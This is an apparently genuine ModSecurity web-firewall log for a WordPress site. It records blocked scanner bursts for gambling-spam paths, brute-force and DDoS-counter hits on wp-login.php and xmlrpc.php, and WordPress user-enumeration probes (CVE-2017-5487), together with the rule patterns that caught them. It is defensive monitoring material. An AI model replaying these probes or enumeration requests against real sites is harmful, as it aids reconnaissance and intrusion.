[Mon Apr 13 03:34:51.894075 2026] [:error] [pid 30432:tid 30515] [client 51.83.7.81:47496] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "advz2_v_BOY8son7cLmW1QAAAI4"]
[Mon Apr 13 03:34:53.917940 2026] [:error] [pid 30432:tid 30501] [client 51.83.7.81:47498] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "advz3fv_BOY8son7cLmW3AAAAIA"]
[Mon Apr 13 03:34:55.916215 2026] [:error] [pid 30430:tid 30457] [client 51.83.7.81:47504] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "advz37n0S0M-vj_lJadFlgAAAAo"]
[Mon Apr 13 03:34:57.780914 2026] [:error] [pid 30532:tid 30547] [client 51.83.7.81:47506] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "advz4ZGQr51YhOFElOskNAAAAMs"]
[Mon Apr 13 03:34:59.796465 2026] [:error] [pid 30432:tid 30519] [client 51.83.7.81:47520] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "advz4_v_BOY8son7cLmW-gAAAJI"]
[Mon Apr 13 03:35:01.801197 2026] [:error] [pid 30532:tid 30559] [client 51.83.7.81:46016] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "advz5ZGQr51YhOFElOskRwAAANc"]
[Mon Apr 13 03:35:03.810455 2026] [:error] [pid 30532:tid 30539] [client 51.83.7.81:46024] [client 51.83.7.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "advz55GQr51YhOFElOskSgAAAMM"]
[Mon Apr 13 06:58:06.992318 2026] [:error] [pid 34048:tid 34062] [client 177.10.71.184:10367] [client 177.10.71.184] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 177.10.71.184, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adwjfvSiQ_PJjlY5EhwJewAAAMw"]
[Mon Apr 13 07:01:58.762305 2026] [:error] [pid 33942:tid 33999] [client 3.77.129.9:50722] [client 3.77.129.9] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 3.77.129.9, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adwkZhNHe8geO_lMeFa1hwAAAFQ"]
[Mon Apr 13 08:33:44.608752 2026] [:error] [pid 7228:tid 7247] [client 51.75.118.97:58770] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/auto%20slot.aspx"] [unique_id "adw56AEnn1dQrOSHHNX1NgAAARE"]
[Mon Apr 13 08:33:46.610169 2026] [:error] [pid 63309:tid 63329] [client 51.75.118.97:57786] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20casino.aspx"] [unique_id "adw56kpIKZ10weXpf0WXqgAAABA"]
[Mon Apr 13 08:33:48.589375 2026] [:error] [pid 7228:tid 7250] [client 51.75.118.97:57796] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20co.aspx"] [unique_id "adw57AEnn1dQrOSHHNX1RwAAARQ"]
[Mon Apr 13 08:33:50.550425 2026] [:error] [pid 63406:tid 63420] [client 51.75.118.97:57810] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20dc.aspx"] [unique_id "adw57rHZEIkQ0Zmgp5oKVAAAAMk"]
[Mon Apr 13 08:33:52.496611 2026] [:error] [pid 63311:tid 63378] [client 51.75.118.97:57822] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20original.aspx"] [unique_id "adw58KHjrGN1MqBCVFktBwAAAIc"]
[Mon Apr 13 08:33:54.514450 2026] [:error] [pid 7228:tid 7251] [client 51.75.118.97:46432] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20slot.aspx"] [unique_id "adw58gEnn1dQrOSHHNX1WgAAARU"]
[Mon Apr 13 08:33:56.543207 2026] [:error] [pid 7228:tid 7241] [client 51.75.118.97:46446] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflik%20thailand.aspx"] [unique_id "adw59AEnn1dQrOSHHNX1ZAAAAQs"]
[Mon Apr 13 08:33:58.587777 2026] [:error] [pid 63406:tid 63416] [client 51.75.118.97:46452] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20auto.aspx"] [unique_id "adw59rHZEIkQ0Zmgp5oKaAAAAMU"]
[Mon Apr 13 08:34:00.621185 2026] [:error] [pid 63311:tid 63395] [client 51.75.118.97:46462] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20casino.aspx"] [unique_id "adw5-KHjrGN1MqBCVFktHwAAAJg"]
[Mon Apr 13 08:34:02.528487 2026] [:error] [pid 63309:tid 63334] [client 51.75.118.97:46470] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20co.aspx"] [unique_id "adw5-kpIKZ10weXpf0WXuAAAABU"]
[Mon Apr 13 08:34:04.624437 2026] [:error] [pid 7228:tid 7231] [client 51.75.118.97:33240] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20slot.aspx"] [unique_id "adw5_AEnn1dQrOSHHNX1hwAAAQE"]
[Mon Apr 13 08:34:06.542631 2026] [:error] [pid 63311:tid 63375] [client 51.75.118.97:33248] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20thailand.aspx"] [unique_id "adw5_qHjrGN1MqBCVFktMwAAAIQ"]
[Mon Apr 13 08:34:08.554364 2026] [:error] [pid 7228:tid 7239] [client 51.75.118.97:33262] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/betflix%20wallet.aspx"] [unique_id "adw6AAEnn1dQrOSHHNX1jwAAAQk"]
[Mon Apr 13 08:34:10.522976 2026] [:error] [pid 63406:tid 63420] [client 51.75.118.97:33268] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflik.aspx"] [unique_id "adw6ArHZEIkQ0Zmgp5oKfAAAAMk"]
[Mon Apr 13 08:34:12.615650 2026] [:error] [pid 7228:tid 7241] [client 51.75.118.97:33276] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20betflix.aspx"] [unique_id "adw6BAEnn1dQrOSHHNX1oAAAAQs"]
[Mon Apr 13 08:34:14.393545 2026] [:error] [pid 63311:tid 63385] [client 51.75.118.97:49938] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/casino%20wallet.aspx"] [unique_id "adw6BqHjrGN1MqBCVFktSwAAAI4"]
[Mon Apr 13 08:34:16.272517 2026] [:error] [pid 63406:tid 63417] [client 51.75.118.97:49944] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/demon%20slot%20game.aspx"] [unique_id "adw6CLHZEIkQ0Zmgp5oKhQAAAMY"]
[Mon Apr 13 08:34:18.171321 2026] [:error] [pid 63311:tid 63386] [client 51.75.118.97:49960] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dg%20casino.aspx"] [unique_id "adw6CqHjrGN1MqBCVFktVgAAAI8"]
[Mon Apr 13 08:34:20.082353 2026] [:error] [pid 63311:tid 63372] [client 51.75.118.97:49976] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/g2g%20slot.aspx"] [unique_id "adw6DKHjrGN1MqBCVFktcAAAAIE"]
[Mon Apr 13 08:34:22.236054 2026] [:error] [pid 63311:tid 63390] [client 51.75.118.97:49986] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "adw6DqHjrGN1MqBCVFkteAAAAJM"]
[Mon Apr 13 08:34:24.335981 2026] [:error] [pid 63310:tid 63349] [client 51.75.118.97:51112] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "adw6EHoXpRU5ztmwPjKuwAAAAEU"]
[Mon Apr 13 08:34:26.351352 2026] [:error] [pid 63406:tid 63421] [client 51.75.118.97:51116] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/galaxy%20slot.aspx"] [unique_id "adw6ErHZEIkQ0Zmgp5oKnAAAAMo"]
[Mon Apr 13 08:34:28.568934 2026] [:error] [pid 63310:tid 63365] [client 51.75.118.97:51120] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/h25%20com.aspx"] [unique_id "adw6FHoXpRU5ztmwPjKuwwAAAFU"]
[Mon Apr 13 08:34:30.632621 2026] [:error] [pid 63406:tid 63427] [client 51.75.118.97:51134] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/jili%20slot.aspx"] [unique_id "adw6FrHZEIkQ0Zmgp5oKpwAAANA"]
[Mon Apr 13 08:34:32.467854 2026] [:error] [pid 7228:tid 7254] [client 51.75.118.97:51140] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20slot.aspx"] [unique_id "adw6GAEnn1dQrOSHHNX1vAAAARg"]
[Mon Apr 13 08:34:34.364965 2026] [:error] [pid 7228:tid 7248] [client 51.75.118.97:35668] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/joker%20vip.aspx"] [unique_id "adw6GgEnn1dQrOSHHNX1xgAAARI"]
[Mon Apr 13 08:34:36.398568 2026] [:error] [pid 63406:tid 63427] [client 51.75.118.97:35676] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/kingkong%20joker.aspx"] [unique_id "adw6HLHZEIkQ0Zmgp5oKtwAAANA"]
[Mon Apr 13 08:34:38.473543 2026] [:error] [pid 63311:tid 63395] [client 51.75.118.97:35684] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lava%20slot.aspx"] [unique_id "adw6HqHjrGN1MqBCVFktoQAAAJg"]
[Mon Apr 13 08:34:40.388637 2026] [:error] [pid 63406:tid 63435] [client 51.75.118.97:35686] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mega%20slot.aspx"] [unique_id "adw6ILHZEIkQ0Zmgp5oKvQAAANg"]
[Mon Apr 13 09:00:09.437807 2026] [:error] [pid 63311:tid 63375] [client 223.244.35.77:34449] [client 223.244.35.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "adxAGaHjrGN1MqBCVFk4TwAAAIQ"]
[Mon Apr 13 09:03:34.427679 2026] [:error] [pid 63310:tid 63346] [client 180.252.175.128:50826] [client 180.252.175.128] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.252.175.128, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adxA5noXpRU5ztmwPjK45QAAAEI"]
[Mon Apr 13 09:03:45.033340 2026] [:error] [pid 7228:tid 7232] [client 180.252.175.128:51399] [client 180.252.175.128] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.252.175.128, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adxA8QEnn1dQrOSHHNUQ_wAAAQI"]
[Mon Apr 13 09:03:55.783219 2026] [:error] [pid 7228:tid 7235] [client 180.252.175.128:51785] [client 180.252.175.128] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.252.175.128, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adxA-wEnn1dQrOSHHNURQQAAAQU"]
[Mon Apr 13 09:04:06.430442 2026] [:error] [pid 63311:tid 63386] [client 180.252.175.128:52179] [client 180.252.175.128] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.252.175.128, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adxBBqHjrGN1MqBCVFk6WgAAAI8"]
[Mon Apr 13 09:04:17.109060 2026] [:error] [pid 7228:tid 7248] [client 180.252.175.128:52583] [client 180.252.175.128] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.252.175.128, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adxBEQEnn1dQrOSHHNURpgAAARI"]
[Mon Apr 13 10:32:04.613597 2026] [:error] [pid 63310:tid 63350] [client 180.247.21.129:50184] [client 180.247.21.129] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 180.247.21.129, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "adxVpHoXpRU5ztmwPjLXngAAAEY"]
[Mon Apr 13 10:32:06.770717 2026] [:error] [pid 7228:tid 7247] [client 180.247.21.129:50201] [client 180.247.21.129] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "adxVpgEnn1dQrOSHHNVeLwAAARE"]
[Mon Apr 13 10:32:14.618107 2026] [:error] [pid 7228:tid 7241] [client 180.247.21.129:50201] [client 180.247.21.129] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "adxVrgEnn1dQrOSHHNVeQwAAAQs"]
[Mon Apr 13 11:50:52.611364 2026] [:error] [pid 63309:tid 63330] [client 43.131.32.36:50788] [client 43.131.32.36] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "adxoHEpIKZ10weXpf0XKFgAAABE"]
[Mon Apr 13 12:53:58.717851 2026] [:error] [pid 57183:tid 57196] [client 103.130.216.36:13376] [client 103.130.216.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.130.216.36, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adx25jDO3t8R5NaxzYQ6wQAAAUs"]
[Mon Apr 13 12:54:02.471702 2026] [:error] [pid 7228:tid 7235] [client 103.130.216.36:7336] [client 103.130.216.36] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.130.216.36, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adx26gEnn1dQrOSHHNW44wAAAQU"], referer: https://gigfragments.org/wp-login.php
[Mon Apr 13 13:13:59.492483 2026] [:error] [pid 7228:tid 7230] [client 43.135.142.37:57072] [client 43.135.142.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "adx7lwEnn1dQrOSHHNXJVAAAAQA"]
[Mon Apr 13 13:33:18.631144 2026] [:error] [pid 63309:tid 63316] [client 103.59.160.151:61903] [client 103.59.160.151] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.59.160.151, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adyAHkpIKZ10weXpf0Xc0wAAAAM"]
[Mon Apr 13 13:33:32.577311 2026] [:error] [pid 7228:tid 7241] [client 103.59.160.151:64260] [client 103.59.160.151] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "adyALAEnn1dQrOSHHNXYKQAAAQs"], referer: https://www.google.com/
[Mon Apr 13 13:33:32.695045 2026] [:error] [pid 7228:tid 7238] [client 103.59.160.151:64260] [client 103.59.160.151] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.59.160.151, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "adyALAEnn1dQrOSHHNXYKwAAAQg"], referer: https://gigfragments.org/wp-login.php
